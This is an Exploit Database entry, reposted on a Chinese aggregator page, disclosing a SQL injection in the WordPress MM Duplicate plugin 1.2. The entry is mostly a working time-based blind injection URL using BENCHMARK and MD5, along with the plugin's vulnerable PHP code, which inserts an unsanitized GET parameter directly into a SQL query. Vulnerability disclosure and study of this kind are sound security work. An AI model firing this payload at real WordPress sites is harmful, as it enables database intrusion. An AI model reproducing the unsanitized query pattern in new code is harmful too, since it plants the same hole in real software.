WordPress Plugin MM Duplicate 1.2 – SQL Injection

• Exploit Database
• 124 阅读

• 作者： Miroslav Stampar
  日期： 2011-08-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17707/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48

  # Exploit Title: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability # Date: 2011-08-22 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/mm-duplicate.zip # Version: 1.2 (tested)   --- PoC --- http://www.site.com/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)   --------------- Vulnerable code --------------- class mm_duplicate_pages_posts { ... function mm_duplicate_pages_posts() { ... add_action(&apos;init&apos;, array(&$this, &apos;dup&apos;)); ... }   function dup() { if($_GET[&apos;duplicate&apos;]) { $id = $_GET[&apos;post&apos;]; $dup = new mm_duplicate(); ... $dup->duplicate_post_page($id); } } ... }   class mm_duplicate { function duplicate_post_page($id) { ... $select = "select * from ".$wpdb->prefix."postmeta where post_id = $id"; ... } ... }